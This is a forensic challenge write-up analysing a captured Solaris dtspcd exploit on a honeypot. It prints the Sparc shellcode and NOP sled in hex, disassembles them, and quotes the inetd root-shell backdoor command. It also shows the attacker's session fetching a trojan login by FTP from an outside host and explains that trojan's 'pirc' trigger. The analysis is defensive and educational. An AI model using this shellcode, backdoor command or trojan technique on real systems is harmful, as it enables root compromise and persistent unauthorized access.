

Scan of the Month #20

Bo Adler

Brad Threatt

1. The Challenge

On 08 January, 2002 a default, unpatched installation of Solaris8 Sparc was remotely compromised with the dtscd exploit. What makes this attack interesting is that this is the first time the attack was identified and captured in the wild, resulting in a CERT advisory. Using the Snort binary capture of the attack, answer the following questions. The honeypot that is attacked is 172.16.1.102.

1. What is a NOP slide, and how is this one different from the NOP slide in the rpc.statd exploit in Scan10?
2. The attack was on 08 Jan, 2002. Would Snort have generated an alert then for the attack?
3. In the exploit code, the command `"/bin/sh sh -i"` is given, what is its purpose, and why is 'sh' shown twice?
4. The attacker executed a variety of commands on the hacked Solaris box. Which commands were automated by the exploit, which commands were manual by the attacker himself?
5. What is sun1, and how does it work?
6. What did you learn from this exercise?
7. How long did this challenge take you?

1.1. Bonus Question:

One of the commands executed during the attack is

```
echo "BD PID(s): "`ps -fed|grep ' -s /tmp/x'|grep -v grep|awk '{print $2}'`
```

What is the purpose of this command and what does 'BD' stand for?

2. Analysis

2.1. Verification of the log signature

Analysis was mostly performed on a RedHat 7.1 machine, but some portions required a Solaris 8

machine. To begin the analysis, first it was necessary to download the log and verify its authenticity, then the actual log must be extracted from the compressed archive:

```
csh% md5sum 0108@000-snort.log.tar.gz
612be364f54ca5fcb47cf70e69419175 0108@000-snort.log.tar.gz
csh% tar -xzf 0108@000-snort.log.tar.gz
```

2.2. Tools Used

During the analysis of this scan, we used the following tools:

Tool	Description	Location
strings	This tool is used to find all printable strings (not containing control characters) within a binary file.	standard on Unix platforms
md5sum	Calculates a checksum of a file. Often used to verify downloads.	standard
as	The assembler for a platform.	standard
dis	The disassembler for a platform.	standard (?)
od	Dumps a file in octal or hex.	standard
dd	Manipulates blocks of a file.	standard
truss	Displays system calls made by a program on stdout.	Solaris standard. Use strace on other platforms.
tcpdump	Used to capture packets from the network, or to read previously saved packets.	http://www.tcpdump.org
ethereal	Similar to tcpdump, but has a GUI frontend, and several helpful features.	http://www.ethereal.com
snort	A network based intrusion detection system.	http://www.snort.org
gdb	An application debugger.	http://sources.redhat.com/gdb/

2.3. Answering Question 1

First, I performed a Google search on the phrase "NOP slide", but only one result was returned (and it contained no useful details). I next tried searching for "NOP, slide", which was worse because there were too many results and they were almost all PowerPoint slides. Since most attacks target the x86 platform, I took a chance that revising the search to "NOP, slide, x86" would be helpful — finally turning up the useful link: <http://www.geocrawler.com/lists/3/SourceForge/6752/0/7988134/>. This

posting to the `snort-sigs` mailing list had sufficient information to answer the question, but I decided to also check in the snort signature database (<http://www.snort.org/snort-db/>) and the arachNIDS database (<http://www.whitehats.com/ids/>) to see if there was more information. Surprisingly, neither database contained as much information as the posting to the mailing list.

Armed with the explanation from `snort-sigs`, it was easy to look at Scan 10 and see that a standard (for the x86 architecture) 0x90 NOP sled was used. Naturally, since scan 20 occurred on a Sparc architecture, a different set of bytes would represent a NOP instruction. I decided to do a review of the captured log by eye, to see if anything jumped out at me. In order to review the log, I used the `-X` option of `tcpdump` to display the packet contents. My first attempt showed that there was a significant amount of traffic in the log, so I decided to add a restriction on the host (which we know to be 172.16.1.102, since that was the honeypot that was attacked). One packet stood out right away because it had the repeating quality of a NOP sled, and also contained some typical exploit shell code.

```
csh% tcpdump -X -r 0108@000-snort.log.tar.gz host 172.16.1.102
[...output elided for clarity...]
07:46:04.378306 adsl-61-1-160.dab.bellsouth.net.3592 > 172.16.1.102.6112: P 1:14
49(1448) ack 1 win 16060 <nop,nop,timestamp 463986683 4158792> (DF)
0x0000  4500 05dc a1ac 4000 3006 241c d03d 01a0      E.....@.0.$..=..
0x0010  ac10 0166 0e08 17e0 fee2 c115 5f66 192f      ...f....._f./
0x0020  8018 3ebc e1e9 0000 0101 080a 1ba7 dffb      ..>.....
0x0030  003f 7548 3030 3030 3030 3032 3034 3130      .?uH000000020410
0x0040  3365 3030 3031 2020 3420 0000 0031 3000      3e0001..4....10.
0x0050  801c 4011 801c 4011 1080 0101 801c 4011      ..@...@.....@.
0x0060  801c 4011 801c 4011 801c 4011 801c 4011      ..@...@...@...@.
0x0070  801c 4011 801c 4011 801c 4011 801c 4011      ..@...@...@...@.
[...repeating output removed...]
0x04e0  801c 4011 801c 4011 801c 4011 801c 4011      ..@...@...@...@.
0x04f0  20bf ffff 20bf ffff 7fff ffff 9003 e034      .....4
0x0500  9223 e020 a202 200c a402 2010 c02a 2008      .#.....*..
0x0510  c02a 200e d023 ffe0 e223 ffe4 e423 ffe8      .*...#...#...#..
0x0520  c023 ffec 8210 200b 91d0 2008 2f62 696e      .#...../bin
0x0530  2f6b 7368 2020 2020 2d63 2020 6563 686f      /ksh....-c..echo
0x0540  2022 696e 6772 6573 6c6f 636b 2073 7472      ."ingreslock.str
0x0550  6561 6d20 7463 7020 6e6f 7761 6974 2072      eam.tcp.nowait.r
0x0560  6f6f 7420 2f62 696e 2f73 6820 7368 202d      oot./bin/sh.sh.-
0x0570  6922 3e2f 746d 702f 783b 2f75 7372 2f73      i">/tmp/x;/usr/s
0x0580  6269 6e2f 696e 6574 6420 2d73 202f 746d      bin/inetd.-s./tm
0x0590  702f 783b 736c 6565 7020 3130 3b2f 6269      p/x;sleep.10;/bi
0x05a0  6e2f 726d 202d 6620 2f74 6d70 2f78 2041      n/rm.-f./tmp/x.A
0x05b0  4141 4141 4141 4141 4141 4141 4141 4141      AAAAAAAAAAAAAAAAA
0x05c0  4141 4141 4141 4141 4141 4141 4141 4141      AAAAAAAAAAAAAAAAA
0x05d0  4141 4141 4141 4141 4141 4141 4141 4141      AAAAAAAAAAAAAAA
```

Given how many times the pattern `801c 4011` was repeated, this seemed like a good bet for the instruction used as part of a NOP sled. In order to figure out what this instruction was in assembly, I created an object file filled with `nop` instructions:

```
csh% repeat 1000 echo "nop" | as -o test.o -
csh% od -vx test.o > test.vo
```

Then I edited `test.vo`, replacing one `nop` instruction with the `801c 4011` instruction. The `nop` instruction's machine code equivalent is `0100 0000`, and you can see the large block of them in the test file. Since this was now an object file, I made sure not to alter the header, or to change the length of the file. I then ran the following commands to rebuild the object file from the ASCII representation, and used `dis` to disassemble the object code:

```
csh% cat test.vo | perl -ne 'split;shift @_;foreach (@_) { print (pack("S",hex)); }' > test2.o
csh% dis test2.o | grep -v nop
      8:  80 1c 40 11      xor          %l1, %l1, %g0
```

In Sparc assembly, the last argument is always the target, so this has the effect of setting the `%g0` register to 0, but `%g0` is hardwired to 0, so this instruction has no effect.

For completeness, here is the assembly code for the section from the end of the sled to the beginning of the string literal:

```
94:  80 1c 40 11      xor          %l1, %l1, %g0
98:  20 bf ff ff      bn,a        0x94
9c:  20 bf ff ff      bn,a        0x98
a0:  7f ff ff ff      call        0x9c
a4:  90 03 e0 34      add         %o7, 52, %o0
a8:  92 23 e0 20      sub         %o7, 32, %o1
ac:  a2 02 20 0c      add         %o0, 12, %l1
b0:  a4 02 20 10      add         %o0, 16, %l2
b4:  c0 2a 20 08      stb         %g0, [%o0 + 8]
b8:  c0 2a 20 0e      stb         %g0, [%o0 + 14]
bc:  d0 23 ff e0      st          %o0, [%o7 - 32]
c0:  e2 23 ff e4      st          %l1, [%o7 - 28]
c4:  e4 23 ff e8      st          %l2, [%o7 - 24]
c8:  c0 23 ff ec      st          %g0, [%o7 - 20]
cc:  82 10 20 0b      mov         l1, %g1
d0:  91 d0 20 08      ta          0x8
```

The sequence of **stores** place zeroes into the string following the exploit, to NULL terminate various substrings. Pointers to these substrings are then placed into a `argv[]` style array in memory. The last line calls **trap 8**. **Trap 8** is used to make system calls, and it calls the syscall whose number is stored in `%g1`. Looking in `/usr/include/sys/syscall.h`, we see that call 11 is **SYS_exec**. This is what it appeared to be at first — a simple executor.

During a review of this research, the initial three instructions of the exploit

```
98:  20 bf ff ff      bn,a        0x94
9c:  20 bf ff ff      bn,a        0x98
a0:  7f ff ff ff      call        0x9c
```

struck me as odd, because it's not normal to have two consecutive branch instructions. Being unfamiliar with Sparc assembly, this led to a lot of legwork with Google tracking down the meaning of these instructions, and why `%o7` was being relied upon to have the address it did in the immediately following

instructions. I eventually pieced it together, but then found an excellent reference which pretty much described the whole exploit: *UNIX Assembly Codes Development for Vulnerabilities Illustration Purposes* (<http://lsd-pl.net/documents/asmcodes-1.0.2.pdf>).

2.3.1. Automatic Detection of NOP Sleds?

I also wondered about the possibility of writing a script to detect repeating patterns and flag them as possible NOP sleds. For instance, a simple NOP sled might be

```
ADD  %07, 1, %07
SUB  %07, 1, %07
```

repeated several times, which has little net effect as long as you perform both instructions an equal number of times. It then hit me that there was no reason why an exploit would care about preserving registers, since the "real" code would set whatever registers were necessary. Without the need to preserve registers, almost any kind of code could act as a NOP sled. For example, one devious NOP sled that doesn't even repeat would be:

```
ADD  %07, 1, %07
ADD  %07, 2, %07
ADD  %07, 3, %07
ADD  %07, 4, %07
...

```

This means that there are more potential NOP sleds possible than would be reasonable to enumerate in a NIDS rule file. Detection is still possible, if you evaluate all the code sequences and determine that register values are being set and then reset without use — but that's only a temporary setback for an exploit writer. By constructing more elaborate NOP sleds, that would be a fairly easy detector to bypass.

2.4. Answering Question 2

This turned out to be a time-consuming question for me. I initially thought that I could just test it out using my old snort installation, which was from sometime last year. I got nothing from it, so I decided to checkout the latest ruleset and just verify that I was able to get something now. It turns out that I forgot that snort requires the `-c` to specify a `snort.conf`, otherwise it defaults to not having any rules to alert on. Given that I now had the latest ruleset installed, I decided to work backwards and comment out each alert that the packet trace triggered, and then look them up in the snort signature database at <http://www.snort.org/snort-db/>. Using the command

```
csh% snort -A full -l . -r 0108@000-snort.log -c /usr/local/etc/snort/snort.conf
```

I was able to isolate two relevant alerts: sid-645 (in `shellcode.rules`) and sid-1398 (in `exploit.rules`). The snort signature database lists both of these rules as being added on 13-Mar-2002, and so the answer to Q2 (seemingly) was "No".

It bothered me overnight that this method wasn't really precise, and it occurred to me that a better answer was to check out the snort rules from the day before the exploit and see if anything turned up...

```
csh% cvs -d :pserver:anonymous@cvs.snort.sourceforge.net:/cvsroot/snort login
(Logging in to anonymous@cvs.snort.sourceforge.net)
CVS password: [empty password]
csh% cvs -z3 -d :pserver:anonymous@cvs.snort.sourceforge.net:/cvsroot/snort co -D 2002-01-07 snort/ru
cvs server: Updating snort/rules
U snort/rules/Makefile.am
U snort/rules/Makefile.in
U snort/rules/attack-responses.rules
U snort/rules/backdoor.rules
...etc...
csh# cp snort/rules/*.rules /usr/local/etc/snort/
csh% snort -A full -l . -r 0108@000-snort.log -c /usr/local/etc/snort/snort.conf
[...output deleted...]
```

Shockingly (because of my previous test), sid-645 turned up in the alert file (see Appendix A, for the complete alert file):

```
[**] [1:645:2] SHELLCODE sparc NOOP [**]
[Classification: Executable code was detected] [Priority: 1]
01/08-07:46:04.378306 208.61.1.160:3592 -> 172.16.1.102:6112
TCP TTL:48 TOS:0x0 ID:41388 IpLen:20 DgmLen:1500 DF
***AP*** Seq: 0xFEE2C115 Ack: 0x5F66192F Win: 0x3EBC TcpLen: 32
TCP Options (3) => NOP NOP TS: 463986683 4158792
[Xref => http://www.whitehats.com/info/IDS353]
```

I played around with cvs (see Appendix B) to determine when the rule was added into `shellcode.rules`, and found out that it's been there since 17-Apr-2001 (when the file was added to CVS). That's when I remembered that my original test was tainted by forgetting the `-c` option to `snort`, but I recovered my old rules from backup to verify. And sure enough, sid-645 was sitting right in `shellcode.rules`.

2.5. Answering Question 3

From the decoding of the exploit, done in question 1, we know that a call to `exec()` is made with a simple `argv[]` array. The `exec()` uses `/bin/ksh` to perform the installation of a backdoor into the system. The series of commands executed by `/bin/ksh` are (with whitespace inserted to improve legibility):

```
echo "ingreslock stream tcp nowait root /bin/sh sh -i" > /tmp/x;
/usr/sbin/inetd -s /tmp/x;
sleep 10;
/bin/rm -f /tmp/x AAAA...AAA
```

What this code does is create a config file for the `inetd` daemon, which creates a backdoor for the intruder at the port used by the service `ingreslock` (which happens to be port 1524). The script then starts up an `inetd` process using this backdoor config file, sleeps for 10 seconds, and then removes the backdoor config file. (The script also tries to remove a bogus file named `AAA...extensively`

repeated...AAA, but this doesn't exist and quietly fails. It is actually part of the initial buffer overflow.) So, the answer to this question lies within the `inetd.conf` man page. (See Section 3.3, where the man page is quoted.)

2.6. Answering Question 4

Here, `etereal` was useful in figuring out which commands were automated and which were typed in. The timing between packets was the primary clue to how things happened.

The connection to the back door process occurred approximately 11 seconds after it was installed. The implication is that the connection to the back door was a user-launched application, because an automated script would have exploited the `inetd` backdoor right away. If it was a clever script, trying to avoid portscan detection by introducing a delay, it would have waited longer than 11 seconds.

To see how the attacker used the `inetd` backdoor, I selected a packet from that connection — packet 589 — and then selected *Tools/Follow TCP Stream* from the menu. Here is the output:

```
uname -a;ls -l /core /var/dt/tmp/DTSPCD.log;PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin:/usr/cc:
# SunOS buzzy 5.8 Generic_108528-03 sun4u sparc SUNW,Ultra-5_10
/core: No such file or directory
/var/dt/tmp/DTSPCD.log: No such file or directory
BD PID(s): 3476
# w
 8:47am up 11:24,  0 users,  load average: 0.12, 0.04, 0.02
User      tty          login@   idle   JCPU   PCPU   what
# unset HISTFILE
# cd /tmp
mkdir /usr/lib
# mkdir: Failed to make directory "/usr/lib"; File exists
# mv /bin/login /usr/lib/libfl.k
# ftp 64.224.118.115
ftp
ftp: ioctl(TIOCGETP): Invalid argument
Password:a@

cd pub
binary
get sun1
bye
Name (64.224.118.115:root): #
# ls
ps_data
sun1
# chmod 555 sun1
# mv sun1 /bin/login
#
```

In a few places, commands are typed before a prompt appears, so there's reasonable evidence that the session is a combination of manual and automated text. Constructing a table of the timings between commands entered during the session seemed like the best option for discerning between manual and automatic text. I gathered this information by running the filter "**tcp.srcport eq 3596 and tcp.dstport eq 1594 and (tcp.flags.push == 1)**" in ethereal and setting *Display/Options* to "seconds since previous frame". The final table appears in Section 3.4.

2.7. Answering Question 5

From Q4, we know that the hacker replaced the system `/bin/login` program with the downloaded `sun1` program. It's not a great leap to presume that `sun1` is then some kind of trojan program with a secret backdoor.

To get more details, it's useful to extract the `sun1` binary from the snort log. I did this by using ethereal to review `0108@000-snort.log` and then locating the FTP data stream by applying the filter "**tcp.port == 20**" (port 20 is the FTP data port). As it happens, there is only one FTP download within `0108@000-snort.log`, so I selected a packet that's part of the data (marked as "FTP-DATA" in the Protocol column; I selected packet 683), and then chose *Tools/Follow TCP Stream* from the menu. Ethereal pops up an ASCII display of the data, from which I selected "Save As" and saved to file `sun1`.

After extracting `sun1`, I ran `/usr/bin/strings` on it to get an idea of what the program was about. (The strings program extracts printable strings from a file, which is useful for seeing what strings an executable might make use of.) There are only a few lines before the standard libc strings that you generally see:

```
csh% strings sun1 | less
" H@
$#<@
/ @@
# @@
DISPLAY
/usr/lib/libfl.k
pirc
/bin/sh
[...remainder of output removed...]
```

Given the installment of `sun1` as `/bin/login` (which was part of the session in Section 3.4), I would have expected `sun1` to be a slightly modified version of `/bin/login`, but it turns out not to be. The reference to `/usr/lib/libfl.k` (which is where the original `/bin/login` was moved to) suggests that this program instead launches the original `/bin/login` if the backdoor wasn't detected. The actual backdoor appears to be the common technique of using the `DISPLAY` environment variable (which remote access programs, like telnet, pass around).

To more precisely learn the details of how `sun1` worked, I then tried using `gdb` to access the symbol table and provide a disassembly of `main()`. `Gdb` informed me that the file was truncated, which I verified by reviewing the original snort log:

```
csh% tcpdump -X -r 0108@000-snort.log port ftp-data
[...output deleted...]
```

Interestingly, the entire FTP session was present except for the last data packet (and some TCP closing packets), which I was able to see by following the TCP `seq` and `ack` values.

The FTP site that `sun1` came from no longer seems to be operating, and Google didn't turn up anything having the string "libfl.k", so I decided to try `gdb` again, by appending 768 bytes of zeros to the end of `sun1` to make up for the missing packet. That worked, but `sun1` had been stripped of symbols, which makes tracing the assembly incredibly painful:

```
[...session on a Solaris sparc machine...]
csh% dd if=/dev/zero of=empty bs=1 count=768
768+0 records in
768+0 records out
csh% cat sun1 empty > sun2
csh% gdb sun2
GDB is free software and you are welcome to distribute copies of it
  under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.14 (sparc-sun-solaris2.4),
Copyright 1995 Free Software Foundation, Inc...(no debugging symbols found)...
(gdb) info files
Symbols from "/home/thumper/sun2".
Local exec file:
  '/home/thumper/sun2', file type elf32-sparc.
  Entry point: 0x10074
(gdb) disas 0x10074 0x10090
Dump of assembler code from 0x10074 to 0x10090:
0x10074:      Cannot access memory at address 0x10074.
(gdb) break *0x10078
Breakpoint 1 at 0x10078
(gdb) run
Starting program: /home/thumper/sun2
warning: shared library handler failed to enable breakpoint

Breakpoint 1, 0x10078 in ?? ()
(gdb) disas 0x10074 0x100c0
Dump of assembler code from 0x10074 to 0x100c0:
0x10074:      clr  %fp
0x10078:      ld  [ %sp + 0x40 ], %l0
0x1007c:      add 0x44, %sp, %l1
0x10080:      sub %sp, 0x20, %sp
0x10084:      tst  %g1
0x10088:      be  0x10098
0x1008c:      mov %g1, %o0
0x10090:      call 0x102d8
0x10094:      nop
0x10098:      sethi %hi(0x18800), %o0
0x1009c:      or  %o0, 0xe4, %o0      ! 0x188e4
0x100a0:      call 0x102d8
0x100a4:      nop
```

```

0x100a8:      call 0x188c8
0x100ac:      nop
0x100b0:      mov  %10, %o0
0x100b4:      mov  %11, %o1
0x100b8:      sll  %10, 2, %o2
0x100bc:      add  4, %o2, %o2
End of assembler dump.
(gdb)

```

To avoid the grueling task of tracing through the assembly, I decided that the simplest way to find out what the program does is to actually run it. To prevent (or least limit) damage that might be inflicted by sun1, I ran the program as an unprivileged user on a machine behind a firewall:

```

csh% truss ./sun1
execve("./sun1", 0xFFBEFC44, 0xFFBEFC4C)  argc = 1
execve("/usr/lib/libfl.k", 0xFFBEFC44, 0xFFBEFC4C) Err#2 ENOENT
/usr/lib/libfl.kwrite(2, " / u s r / l i b / l i b"..., 16)      = 16
: write(2, " : ", 2)                                           = 2
No such file or directorywrite(2, " N o   s u c h   f i l e"..., 25)  = 25

write(2, "\n", 1)                                             = 1
_exit(1)
csh% setenv DISPLAY foo
csh% truss ./sun1
execve("./sun1", 0xFFBEFC34, 0xFFBEFC3C)  argc = 1
execve("/usr/lib/libfl.k", 0xFFBEFC34, 0xFFBEFC3C) Err#2 ENOENT
_exit(1)
csh% setenv DISPLAY pirc
csh% truss ./sun1
execve("./sun1", 0xFFBEFC2C, 0xFFBEFC34)  argc = 1
sigfillset(0x0002A5E4)                       = 0
sigprocmask(SIG_BLOCK, 0xFFBEFA94, 0xFFBEFA84) = 0
sigaction(SIGCLD, 0xFFBEF950, 0xFFBEFA44)    = 0
$ vfork()                                     = 16582
sigaction(SIGINT, 0xFFBEF950, 0xFFBEFA00)    = 0
sigaction(SIGQUIT, 0xFFBEF950, 0xFFBEF9E0)   = 0
waitid(P_PID, 16582, 0xFFBEF8F0, 0403  ) (sleeping...)

```

The first truss command only tries to **exec**, the original /bin/login, so I tried setting the DISPLAY variable to some random value. While sun1 still tries to **exec** /usr/lib/libfl.k, it's important to notice that no error message is generated; clearly, the DISPLAY variable is important. Without actually disassembling **main()** for sun1, the only alternative is to guess what value for DISPLAY would trigger the backdoor. Given the shortage of strings in the original binary, I took a guess that "pirc" might be the trigger.

What's not clear from the last output of truss is that the dollar sign on the **vfork()** is actually a shell prompt. So "pirc" turns out to be the codeword used to activate the backdoor.

3. Answers

3.1. Q1 Answer

A "NOP sled", as it is more commonly known, is a series of no-operation instructions in the machine code of the target architecture. This series is often used as part of a buffer overflow technique, where the return address in the call stack is modified to point to exploit code. By using a NOP sled, the precise address of the exploit code need not be known — instead, an address in the middle of the NOPs is chosen, causing execution to *slide* into the exploit code.

In Scan 10, a standard 0x90 NOP sled was used as part of a format string attack for the x86 architecture. Scan 20 uses one of the many possible NOP instructions available on the Sparc architecture, in this 0x801c4011.

3.2. Q2 Answer

Yes. There has been an alert for sid-645 (NOP sled 0x801c4011 for the sparc architecture) in `shellcode.rules` since that file was added to the snort CVS repository, on 17-Apr-2001. It appears to have existed in `exploit.rules` previous to that date.

3.3. Q3 Answer

The command `/bin/sh sh -i` appearing in the exploit code is actually part of an `inetd` configuration file. An excerpt from the manual page for `inetd.conf` explains the two fields used by this portion of the command:

server-program Either the pathname of a server program to be invoked by `inetd` to perform the requested service, or the value `internal` if `inetd` itself provides the service.

server-arguments If a server must be invoked with command line arguments, the entire command line (including argument 0) must appear in this field (which consists of all remaining words in the entry).

—Sun Manual Pages - `inetd.conf`

In plain English, the initial `/bin/sh` indicates the actual name of the application which `inetd` starts up when receiving a connection on the port named in the configuration. The `"sh -i"` portion is the argument list passed to the application. What is tricky, and explains why `"sh"` is shown twice, is that the C libraries

define the argument array (`argv[]`) to include the actual name of the application at position 0. In this case, the second "sh" is just the value at position 0 in the `argv[]` array.

It's useful to know that some programs look at the value of `argv[0]` to determine how they were invoked, and change their behaviour accordingly. Gzip is a great example of this; `gunzip` is hard linked to the same executable, and the program looks at `argv[0]` to determine the default options.

3.4. Q4 Answer

There were two successful TCP connections made to the honeypot, during the time period covered by `0108@000-snort.log`. The following two tables cover the commands the attacker had executed, and indicates which commands were automated and which were manual. Whitespace has been added into the commands to improve readability, but any commands appearing within a single row were submitted by the attacker as a single unit.

Table 1. Initial buffer overflow exploit

Attacker Command	Automated or Manual	Comments
<code>echo "ingreslock stream tcp no_delay\n/usr/sbin/inetd -s /tmp/x;\nsleep 10;\n/bin/rm -f /tmp/x AAAA...AAA"</code>	Automated	These commands were all part of one long string as part of machine code that was embedded into a message sent to the <code>dtsd</code> service. The length of such a buffer overflow exploit makes it prohibitive for a user to enter manually, so these exploits are routinely automated by the black hat community.

Table 2. Shell session through inetd backdoor

Time since previous command	Attacker Command	Automated or Manual	Comments
	<i>[...the connection is opened (TCP handshake completed)...]</i>		
0.000025	<code>uname -a;\nls -l /core /var/dt/tmp/DTSPCD.log;\nPATH=/usr/local/bin:/usr/bin:/bin:\nexport PATH;\necho "BD PID(s): "`ps -fed grep ' -v grep awk '{print \$2}'`</code>	automated	The packet containing this long string of commands is so quick in following the TCP connection handshake that we believe it must be built into whatever telnet-like program the attacker was using

Time since previous command	Attacker Command	Automated or Manual	Comments
3.86	w	manual	Given the pause before this command is entered, and the very long pause afterwards, it seems reasonable to conclude that this was a manually issued directive.
27.39	unset HISTFILE	manual	<p>These were either pasted into a shell by the user, or provided as some kind of macro by a connecting program.</p> <p>We believe that if it were another macro, like the initial text, then either these commands would have been sent in one packet, or the packets would have followed each other much more closely than they did. However, the last command appears only 0.5 seconds after the previous command, which is far too quick a rate to type at. So our best guess is that these commands were manually pasted into the session.</p>
0.09	cd tmp mkdir /usr/lib		
0.58	mv /bin/login /usr/lib/libfl.k		
9.35	ftp 64.224.118.115	manual	<p>A manual ftp with user-typed commands. The fairly long times between packets is a dead giveaway. The times at the end of the ftp session imply that the user was making use of buffering on the honeypot side (since it is unlikely that the sun1 program only took one second to download) to enter commands.</p>
4.48	ftp		
1.82	a@		
2.62	cd pub		
1.41	binary		
1.97	get sun1		
1.05	bye		
17.58	[...newline...]		
0.95	ls		
6.13	chmod 555 sun1		
0.78	mv sun1 /bin/login		

3.5. Q5 Answer

The sun1 application is a trojan replacement for /bin/login. When invoked, sun1 checks for the presence of a codeword (setting the environment variable `DISPLAY` to "pirc") among the environment variables. If the codeword is found, then sun1 launches a shell. If the codeword is not found, then sun1 launches the original /bin/login program which then prompts for a username and password.

3.6. Q6 Answer

What was really interesting about this exercise was that there was a lot of potential for reasonably answering the questions without learning too much. In our case, the fact that there were two of us opened the door for more questions as we read over the results of the other. For instance, the NOP sled question was fairly obvious in its answer, but Brad's inclusion of the disassembly of the exploit led to my investigating the purpose of the initial three instructions, which led to finding the document which explains all about buffer overflows for various architectures.

I also learned a bit about sparc assembly, which I'd never worked with before. And trying to generate a disassembly of sun1 had me thinking quite a bit in order to avoid running dangerous code.

—Bo Adler

I was really surprised to learn a few things about the telnet protocol. I didn't know that telnet included a scheme for passing on environment variables like `TERM` and `DISPLAY`. I remembered telnet's `LINEMODE` control vaguely, but this brought it to my attention again.

I also learned a good deal of sparc assembly trivia.

—Brad Threatt

3.7. Q7 Answer

Some initial "quick and dirty" research yielded most of the answers within 90 minutes. We found that writing up our thoughts formally took a great deal of time, and encouraged us pursue further research for completeness. In the end, this challenge took us about 30 hours, of which over half was spent writing this document, and the remainder was spent getting more detailed analysis on the questions.

3.8. Bonus Question Answer

To understand the purpose, the first step is to decode the embedded pipeline (contained between the backticks). What this pipeline does is get a process listing of all running programs, using `ps`. The listing is then `grep`'d for all occurrences of the string " `-s /tmp/x`" (the leading space is important to avoid the appearance of trying to pass the `-s` option to `grep`). That string was seen before, in the initial exploit as

part of the commandline for launching inetd, so the first two parts of the pipeline must be intending to capture all inetd processes using `/tmp/x` as their configuration file. The third part of the pipeline removes the grep process which also happens to have the same string in its arguments (from the second stage of the pipeline). And finally, the last part prints the process ID number of the found inetd process(es).

So, the purpose of the command is to locate all the running inetd backdoors (the acronym "BD" is for "back door"), and list their PIDs.

A. Complete Alert File for Q2

The following data is a complete listing of all alerts generated by snort using the rule files available on 7-Jan-2002.

```
[**] [100:1:1] spp_portscan: PORTSCAN DETECTED from 218.7.3.19 (THRESHOLD 4 connections exc
04/13-15:27:38.265074

[**] [100:2:1] spp_portscan: portscan status from 218.7.3.19: 9 connections across 9 hosts:
04/13-15:27:38.280227

[**] [100:2:1] spp_portscan: portscan status from 218.7.3.19: 8 connections across 8 hosts:
04/13-15:27:38.286657

[**] [100:3:1] spp_portscan: End of portscan from 218.7.3.19: TOTAL time(4s) hosts(16) TCP(
04/13-15:27:38.287339

[**] [100:1:1] spp_portscan: PORTSCAN DETECTED from 217.80.224.252 (THRESHOLD 4 connections
04/13-15:27:38.344114

[**] [100:2:1] spp_portscan: portscan status from 217.80.224.252: 9 connections across 9 ho
04/13-15:27:38.347308

[**] [100:3:1] spp_portscan: End of portscan from 217.80.224.252: TOTAL time(0s) hosts(9) T
04/13-15:27:38.348406

[**] [100:1:1] spp_portscan: PORTSCAN DETECTED from 217.84.21.136 (THRESHOLD 4 connections
04/13-15:27:38.366680

[**] [100:2:1] spp_portscan: portscan status from 217.84.21.136: 9 connections across 9 hos
04/13-15:27:38.374893

[**] [100:1:1] spp_portscan: PORTSCAN DETECTED from 208.61.69.153 (THRESHOLD 4 connections
04/13-15:27:38.379725

[**] [1:402:4] ICMP Destination Unreachable (Port Unreachable) [**]
[Classification: Misc activity] [Priority: 3]
01/08-07:20:06.217255 207.229.143.1 -> 172.16.1.102
ICMP TTL:60 TOS:0x0 ID:63511 IpLen:20 DgmLen:56 DF
```

```
Type:3 Code:3 DESTINATION UNREACHABLE: PORT UNREACHABLE
** ORIGINAL DATAGRAM DUMP:
172.16.1.102:33212 -> 207.229.143.1:53
UDP TTL:250 TOS:0x0 ID:52181 IpLen:20 DgmLen:58
Len: 38
** END OF DUMP
```

```
[**] [1:402:4] ICMP Destination Unreachable (Port Unreachable) [**]
[Classification: Misc activity] [Priority: 3]
01/08-07:20:06.261835 207.229.143.1 -> 172.16.1.102
ICMP TTL:60 TOS:0x0 ID:63518 IpLen:20 DgmLen:56 DF
Type:3 Code:3 DESTINATION UNREACHABLE: PORT UNREACHABLE
** ORIGINAL DATAGRAM DUMP:
172.16.1.102:33213 -> 207.229.143.1:53
UDP TTL:250 TOS:0x0 ID:52182 IpLen:20 DgmLen:58
Len: 38
** END OF DUMP
```

```
[**] [1:402:4] ICMP Destination Unreachable (Port Unreachable) [**]
[Classification: Misc activity] [Priority: 3]
01/08-07:20:06.313369 207.229.143.1 -> 172.16.1.102
ICMP TTL:60 TOS:0x0 ID:63522 IpLen:20 DgmLen:56 DF
Type:3 Code:3 DESTINATION UNREACHABLE: PORT UNREACHABLE
** ORIGINAL DATAGRAM DUMP:
172.16.1.102:33214 -> 207.229.143.1:53
UDP TTL:250 TOS:0x0 ID:52183 IpLen:20 DgmLen:58
Len: 38
** END OF DUMP
```

```
[**] [1:402:4] ICMP Destination Unreachable (Port Unreachable) [**]
[Classification: Misc activity] [Priority: 3]
01/08-07:20:06.359703 207.229.143.1 -> 172.16.1.102
ICMP TTL:60 TOS:0x0 ID:63533 IpLen:20 DgmLen:56 DF
Type:3 Code:3 DESTINATION UNREACHABLE: PORT UNREACHABLE
** ORIGINAL DATAGRAM DUMP:
172.16.1.102:33215 -> 207.229.143.1:53
UDP TTL:250 TOS:0x0 ID:52184 IpLen:20 DgmLen:58
Len: 38
** END OF DUMP
```

```
[**] [1:402:4] ICMP Destination Unreachable (Port Unreachable) [**]
[Classification: Misc activity] [Priority: 3]
01/08-07:20:06.403073 207.229.143.1 -> 172.16.1.102
ICMP TTL:60 TOS:0x0 ID:63540 IpLen:20 DgmLen:56 DF
Type:3 Code:3 DESTINATION UNREACHABLE: PORT UNREACHABLE
** ORIGINAL DATAGRAM DUMP:
172.16.1.102:33216 -> 207.229.143.1:53
UDP TTL:250 TOS:0x0 ID:52185 IpLen:20 DgmLen:58
Len: 38
** END OF DUMP
```

```
[**] [1:402:4] ICMP Destination Unreachable (Port Unreachable) [**]
[Classification: Misc activity] [Priority: 3]
```

```
01/08-07:20:06.443702 207.229.143.1 -> 172.16.1.102
ICMP TTL:60 TOS:0x0 ID:63549 IpLen:20 DgmLen:56 DF
Type:3 Code:3 DESTINATION UNREACHABLE: PORT UNREACHABLE
** ORIGINAL DATAGRAM DUMP:
172.16.1.102:33217 -> 207.229.143.1:53
UDP TTL:250 TOS:0x0 ID:52186 IpLen:20 DgmLen:58
Len: 38
** END OF DUMP
```

```
[**] [1:402:4] ICMP Destination Unreachable (Port Unreachable) [**]
[Classification: Misc activity] [Priority: 3]
01/08-07:20:06.486946 207.229.143.1 -> 172.16.1.102
